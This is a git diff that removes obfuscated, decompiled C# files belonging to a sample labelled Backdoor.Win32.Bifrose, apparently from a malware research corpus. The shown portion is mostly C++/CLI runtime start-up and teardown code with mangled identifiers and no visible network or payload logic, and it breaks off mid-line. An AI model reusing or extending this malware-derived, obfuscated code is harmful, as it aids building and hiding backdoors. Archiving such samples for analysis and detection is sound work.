b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082º.cs deleted file mode 100644 index a7c3d031..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082º.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚º -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082º - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082».cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082».cs deleted file mode 100644 index 2d5430ec..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082».cs +++ /dev/null @@ -1,1424 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚» -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using \u0082\u00BC; -using å; -using õ; -using PvLogiciels.dotNetProtector; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Threading; - -namespace \u0082\u00BC -{ - internal class \u0082\u00BB - { - internal static \u00BF \u00BC; - [FixedAddressValueType] - internal static int \u00B8; - internal static __FnPtr \u009F; - internal static \u00BF \u0087; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081ç; - internal static __FnPtr \u0082\u00A3; - [FixedAddressValueType] - internal static bool \u0082\u0080; - internal static __FnPtr \u0081ë; - internal static \u00BF \u0081Ë; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081Æ; - internal static __FnPtr \u0081\u00AE; - [FixedAddressValueType] - internal static int \u0081\u0096; - internal static __FnPtr \u0081\u0087; - internal static \u00BF ð; - [FixedAddressValueType] - internal static \u00AE.\u00A9 ê; - internal static __FnPtr \u0082\u00B1; - internal static \u00BF \u00B2; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u00A7; - internal static __FnPtr \u008F; - internal static bool \u0081Ì; - internal static bool \u0082\u009B; - internal static bool \u0082\u0089; - internal static int \u0081ó; - internal static uint \u0081à; - internal static uint \u0081Ð; - internal static \u008E.\u00A9 \u0081Á; - internal static uint \u0082µ; - internal static uint \u0081\u009E; - internal static uint \u0081\u0092; - internal static \u008E.\u00A9 \u0081\u0082; - internal static bool ï; - internal static \u00BF \u00D7; - public static unsafe int** Ð; - public static unsafe int** \u00BD; - internal static __FnPtr \u009E; - [FixedAddressValueType] - internal static uint \u0097; - [FixedAddressValueType] - internal static \u0082\u0098 \u0091; - internal static __FnPtr \u0082\u00B7; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0082\u009F; - internal static uint \u0082\u0097; - internal static unsafe __FnPtr* \u0082\u008D; - internal static unsafe __FnPtr* \u0082\u0085; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0081ü; - internal static int \u0081ô; - internal static int \u0081ñ; - internal static int \u0081í; - internal static int \u0081å; - internal static int \u0081ß; - internal static int \u0024; - internal static int \u0081Ú; - public static \u00A6 \u0081Ã; - public static volatile uint æ; - public static \u00A6 ß; - public static \u0099 Ú; - public static volatile \u0094 \u0081\u00B6; - public static \u0099 \u0081\u00B1; - public static unsafe void* \u0081\u00AD; - public static volatile uint \u0081\u00A8; - public static unsafe __FnPtr* \u0081\u00A2; - public static unsafe __FnPtr* \u0081\u009F; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool Ë() => \u0082\u00BB.\u0081\u00A8 != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool À() => \u0082\u00BB.\u0081\u00A8 == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u00AF() => \u0082\u00BB.\u0081\u00A8 == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u009B() => \u0082\u00BB.æ != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0090() => (\u0082\u00BB.\u0081\u00A8 != uint.MaxValue ? 1 : 0) == 0 || (\u0082\u00BB.æ != uint.MaxValue ? 1 : 0) != 0 || \u0082\u00BB.\u0081\u00A8 != 1U && \u0082\u00BB.\u0081\u00A8 != 0U; - - internal static unsafe int \u0081(void* _param0) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082ª() - { - if (\u0082\u00BB.\u0081\u0082 != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081\u0082 == (\u008E.\u00A9) -1; - void** voidPtr = (void**) &\u0082\u00BB.\u00D7; - if (ref \u0082\u00BB.\u00D7 < ref \u0082\u00BB.\u00BC) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u0082\u00BB.\u00BC) - goto label_5; - } - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) -1; - return true; - } -label_5: - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081Ó() - { - if (\u0082\u00BB.\u0081Á != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081Á == (\u008E.\u00A9) -1; - void** voidPtr1 = (void**) &\u0082\u00BB.Ú; - if (ref \u0082\u00BB.Ú < ref \u0082\u00BB.\u0081\u00B1) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u0082\u00BB.\u0081\u00B1) - goto label_5; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u0082\u00BB.ß; - if (ref \u0082\u00BB.ß < ref \u0082\u00BB.\u0081Ã) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u0082\u00BB.\u0081Ã) - goto label_9; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_9: - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0082\u008C() => \u0082\u00BB.\u0082ª() && !\u0082\u00BB.\u0081Ì || \u0082\u00BB.\u0081Ó() && !\u0082\u00BB.\u0082\u0089 && \u0082\u00BB.\u0081\u00B6 == (\u0094) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00F7() => \u0082\u00BB.\u0082\u009B; - - internal static unsafe void \u0081á() => \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.Ð, (void*) 0); - - internal static void \u0081Ò() => \u0082\u00BB.\u0081\u0096 = 0; - - internal static void \u0081\u00BB() => \u0082\u00BB.\u00B8 = 0; - - internal static void \u0081\u00A3() => \u0082\u00BB.\u0082\u0080 = false; - - internal static void \u0081\u008E() => \u0082\u00BB.ê = (\u00AE.\u00A9) 0; - - internal static void \u00A2() => \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 0; - - internal static void \u00A5() => \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 0; - - internal static void \u00AC() => \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 0; - - [DebuggerStepThrough] - internal static unsafe void \u008C([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u0082\u00BB.ê = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0087, (__FnPtr*) &\u0082\u00BB.\u00B2); - \u0082\u00BB.ê = (\u00AE.\u00A9) 2; - } - - internal static unsafe void \u0082\u00B8([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u0082\u00BB.\u0081á(); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A4([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during native initialization.\n"); - \u0082\u00BB.\u0081\u00B7(); - \u0082\u00BB.\u0082\u0089 = true; - if (!\u0082\u00BB.\u0090()) - \u0082\u00BB.\u0081º(33); - switch (\u0082\u00BB.\u0081\u00B6) - { - case (\u0094) 0: - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u00B6 = (\u0094) 1; - if (\u0082\u00BB.\u0082\u009E((__FnPtr*) &\u0082\u00BB.Ú, (__FnPtr*) &\u0082\u00BB.\u0081\u00B1) != 0) - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0)); - \u0082\u00BB.\u0093((__FnPtr*) &\u0082\u00BB.ß, (__FnPtr*) &\u0082\u00BB.\u0081Ã); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 2; - \u0082\u00BB.ï = true; - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 2; - break; - case (\u0094) 1: - \u0082\u00BB.\u0081º(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u008F([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during process initialization.\n"); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0094(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u00D7, (__FnPtr*) &\u0082\u00BB.\u00BC); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 2; - \u0082\u00BB.\u0081Ì = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081û([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0089(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0081Ë, (__FnPtr*) &\u0082\u00BB.ð); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081ä([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u0082\u00BB.\u0081\u0085(new EventHandler(\u0082\u00BB.\u0081\u008F)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void Ø([In] Ñ* obj0) - { - \u0082\u00BB.\u0082\u0080 = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u0082\u00BB.\u0082\u0080) - \u0082\u00BB.\u0082\u009B = true; - \u0082\u00BB.\u0081\u00A1(); - void* voidPtr1 = \u0082\u00BB.\u0081\u00BE(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) voidPtr1; - // ISSUE: cast to a reference type - void* voidPtr2 = (void*) Interlocked.CompareExchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num3, comparand); - if ((IntPtr) voidPtr2 == IntPtr.Zero) - num2 = 1; - else if (voidPtr2 == voidPtr1) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u0082\u00BB.\u0081\u00B2(1000U); - } - if (!\u0082\u00BB.\u0082\u0080) - { - if (\u0082\u00BB.\u0082\u008C()) - \u0082\u00BB.\u0082\u00B8(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num4); - } - } - \u0082\u00BB.\u008C(obj0); - if (\u0082\u00BB.\u0082\u0080) - { - \u0082\u00BB.\u0082\u00A4(obj0); - \u0082\u00BB.\u0082\u008F(obj0); - } - \u0082\u00BB.\u0081û(obj0); - \u0082\u00BB.\u0081\u0096 = 1; - \u0082\u00BB.\u0081ä(obj0); - } - - internal static void \u0081À() => \u0082\u00BB.É(); - - internal static unsafe int \u0081\u00AF(void* _param0) - { - \u0082\u00BB.\u0081\u0098(); - \u0082\u00BB.\u0081Ì = false; - if (\u0082\u00BB.ï) - { - \u0082\u00BB.ì(); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 0; - \u0082\u00BB.ï = false; - } - \u0082\u00BB.\u0082\u0089 = false; - return 0; - } - - internal static unsafe void \u0081\u009D() - { - if (!\u0082\u00BB.\u0082\u009B) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u0082\u00BB.\u0081\u00AF((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.\u00BD, (void*) 0); - } - } - - [PrePrepareMethod] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static void \u0081\u008F(object _param0, EventArgs _param1) - { - if (\u0082\u00BB.\u0081\u0096 == 0 || Interlocked.Exchange(ref \u0082\u00BB.\u00B8, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0 ? 1 : 0; - \u0082\u00BB.É(); - if ((byte) num == (byte) 0) - return; - \u0082\u00BB.\u0081\u009D(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void û([In] Ñ* obj0, Exception _param1) - { - try - { - bool flag = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0; - \u0082\u00BB.\u0081À(); - if (!flag) - return; - \u0082\u00BB.\u0081\u009D(); - } - catch (Exception ex) - { - \u0082\u00BB.\u0081\u0095(_param1, ex); - } - catch - { - \u0082\u00BB.\u0081\u0095(_param1, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void ë([In] Ñ* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u0082\u00BB.\u0081ó); - flag = true; - } - \u0082\u00BB.Ø(obj0); - } - catch (Exception ex) - { - if (flag) - \u0082\u00BB.û(obj0, ex); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), ex); - } - catch - { - if (flag) - \u0082\u00BB.û(obj0, (Exception) null); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u0082\u00BB() - { - Ñ ñ; - \u0082\u00BB.Ó(&ñ); - // ISSUE: fault handler - try - { - \u0082\u00BB.ë(&ñ); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u0081\u00A4((__FnPtr) __methodptr(Æ), (void*) &ñ); - } - \u0082\u00BB.\u00B0((Ê*) &ñ); - } - - internal static unsafe Ñ* Ó([In] Ñ* obj0) - { - \u0082\u00BB.º((Ê*) obj0); - return obj0; - } - - internal static unsafe void Æ([In] Ñ* obj0) => \u0082\u00BB.\u00B0((Ê*) obj0); - - [DebuggerStepThrough] - internal static unsafe Ê* º([In] Ê* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void \u00B0([In] Ê* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe Ê* \u00A3([In] Ê* obj0, string _param1) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) _param1; - return obj0; - } - - internal static unsafe string \u009A([In] Ê* obj0) => (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - - [STAThread] - internal static unsafe int \u0082\u009C(string[] _param0) - { - try - { - \u0082\u00BB.à(1); - *\u0082\u00BB.Å() = \u0082\u00BB.\u0024; - *\u0082\u00BB.Ì() = \u0082\u00BB.\u0081ß; - \u0082\u00BB.\u0081þ(); - \u0082\u00BB.\u0082\u0081(); - if (\u0082\u00BB.\u0081í == -1) - \u0082\u00BB.Ù(-1); - \u0082º º; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref º = \u0082\u00BB.\u0081ñ; - int num; - char** chPtr1; - char** chPtr2; - if (\u0082\u00BB.Â(&num, &chPtr1, &chPtr2, \u0082\u00BB.\u0081ô, &º) < 0) - \u0082\u00BB.\u0081º(8); - \u0082\u00BB.\u008A(); - return \u0082\u00BB.\u0081É(_param0); - } - catch (Exception ex) when (\u0082\u00BB.È((uint) Marshal.GetExceptionCode(), (\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - return Marshal.GetExceptionCode(); - } - } - - internal static unsafe void \u008A() - { - \u0082\u009A* objPtr1 = (\u0082\u009A*) \u0082\u00BB.Ò((sbyte*) 0); - if (*(ushort*) objPtr1 != (ushort) 23117) - return; - \u0082\u00A7* objPtr2 = (\u0082\u00A7*) (*(int*) ((IntPtr) objPtr1 + 60) + (IntPtr) objPtr1); - if (*(int*) objPtr2 != 17744 || *(ushort*) ((IntPtr) objPtr2 + 24) != (ushort) 267) - return; - if (*(ushort*) ((IntPtr) objPtr2 + 24 + 68) != (ushort) 3) - \u0082\u00BB.à(2); - else - \u0082\u00BB.à(1); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0086() - { - object obj = new object(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref \u0082\u00BB.\u0091 = 0; - \u0082\u00BB.\u00AB(&\u0082\u00BB.\u0091, obj); - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082\u00AC() => \u0082\u00BB.â(&\u0082\u00BB.\u0091) != null; - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A0() => Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0091() => Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - internal static void \u0082\u0083() => \u0082\u00BB.ø((__FnPtr) __methodptr(\u0081Ý)); - - internal static unsafe void \u0081Ý() => \u0082\u00BB.Í(&\u0082\u00BB.\u0091); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00BF() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00B8() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00B0() - { - if (!\u0082\u00BB.\u0082\u00AC()) - \u0082\u00BB.\u0082\u0086(); - return \u0082\u00BB.\u0082\u00AC(); - } - - internal static unsafe int \u0081\u00A6( - __FnPtr _param0, - uint* _param1, - __FnPtr** _param2, - __FnPtr** _param3) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (_param0 == null) - return -1; - int num1; - if (\u0082\u00BB.\u0081\u00BF()) - { - try - { - if (*_param1 - 1U < (uint) (*(int*) _param2 - *(int*) _param3) >> 2) - { - try - { - uint num2 = *_param1 * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local2 = _param2; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) _param3); - *(int*) local2 = (int) num5; - *(int*) _param3 = (int) num4.ToPointer(); - uint num6 = *_param1; - uint num7 = 512U >= num6 ? num6 : 512U; - *_param1 = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *_param1 * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local3 = _param2; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) _param3); - *(int*) local3 = (int) num9; - *(int*) _param3 = (int) num8.ToPointer(); - uint* numPtr = _param1; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) _param2 = (int) _param0; - __FnPtr** local4 = _param2; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = _param0; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u0082\u00BB.\u0081\u00B8(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void \u0081\u0098() - { - if ((IntPtr) \u0082\u00BB.\u0082\u0085 == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u0085 == IntPtr.Zero || (IntPtr) \u0082\u00BB.\u0082\u008D == IntPtr.Zero) - return; - \u0082\u00BB.\u0082\u008D -= 4; - if (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085) - { - do - { - if (*(int*) \u0082\u00BB.\u0082\u008D != 0) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0082\u008D)(); - } - \u0082\u00BB.\u0082\u008D -= 4; - } - while (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085); - } - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u0085)); - } - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0094() - { - if (!\u0082\u00BB.\u0081\u00B0()) - return 0; - \u0082\u00BB.\u0082\u0085 = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0082\u008D = \u0082\u00BB.\u0082\u0085; - \u0082\u00BB.\u0082\u0097 = 32U; - return 1; - } - - internal static __FnPtr \u0081\u0091(__FnPtr _param0) => \u0082\u00BB.\u0081\u008A((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - internal static unsafe int \u0081\u008A(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0082\u0097, &\u0082\u00BB.\u0082\u008D, &\u0082\u00BB.\u0082\u0085); - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0089() - { - if (\u0082\u00BB.\u0081\u00B0()) - { - \u0082\u00BB.\u0082\u009F = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0081ü = \u0082\u00BB.\u0082\u009F; - \u0082\u00BB.\u0097 = 32U; - } - return 1; - } - - internal static unsafe void É() - { - if ((IntPtr) \u0082\u00BB.\u0082\u009F == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u009F == IntPtr.Zero) - return; - if ((IntPtr) \u0082\u00BB.\u0081ü == IntPtr.Zero) - return; - try - { - while (true) - { - do - { - \u0082\u00BB.\u0081ü -= 4; - if (\u0082\u00BB.\u0081ü < \u0082\u00BB.\u0082\u009F) - goto label_8; - } - while (*(int*) \u0082\u00BB.\u0081ü == 0); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0081ü)(); - } -label_8:; - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u009F)); - } - } - - internal static __FnPtr ý(__FnPtr _param0) => \u0082\u00BB.ø((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int ø(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0097, &\u0082\u00BB.\u0081ü, &\u0082\u00BB.\u0082\u009F); - - [DebuggerStepThrough] - internal static unsafe void ó([In] \u0082\u0098* obj0, object _param1) - { - *(int*) obj0 = 0; - \u0082\u00BB.\u00AB(obj0, _param1); - } - - [DebuggerStepThrough] - internal static unsafe object â([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - internal static unsafe void Í([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u00BE([In] \u0082\u0098* obj0) - { - uint num = (uint) *(int*) obj0; - return num != 0U ? (ValueType) GCHandle.FromIntPtr(new IntPtr((void*) num)) : (ValueType) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u00AB([In] \u0082\u0098* obj0, object _param1) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - { - IntPtr intPtr = GCHandle.ToIntPtr(GCHandle.Alloc(_param1)); - *(int*) obj0 = (int) intPtr.ToPointer(); - } - else - ((GCHandle) valueType).Target = _param1; - } - - [DebuggerStepThrough] - internal static unsafe int \u0082\u009E(__FnPtr* _param0, __FnPtr* _param1) - { - int num1 = 0; - if (_param0 < _param1) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) _param0; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - _param0 += 4; - if (_param0 >= _param1) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void \u0093(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u0082\u0093() => typeof (\u0082\u0090).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void \u0085(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u0082\u00BB.\u0083((__FnPtr) (int) num))(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u0083(__FnPtr _param0) => (__FnPtr) (IntPtr) \u0082\u00BB.\u0082\u0093().ResolveMethodHandle((int) _param0).GetFunctionPointer().ToPointer(); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0081\u00A4(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0099(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0092( - __FnPtr)> _param0, - void* _param1, - uint _param2, - int _param3, - __FnPtr _param4) - { - try - { - void* voidPtr = _param1; - int num1 = (int) _param2; - int num2 = _param3; - __FnPtr local = _param4; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(_param0)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - internal static void \u0082\u0081() - { - if (\u0082\u00BB.\u0081å 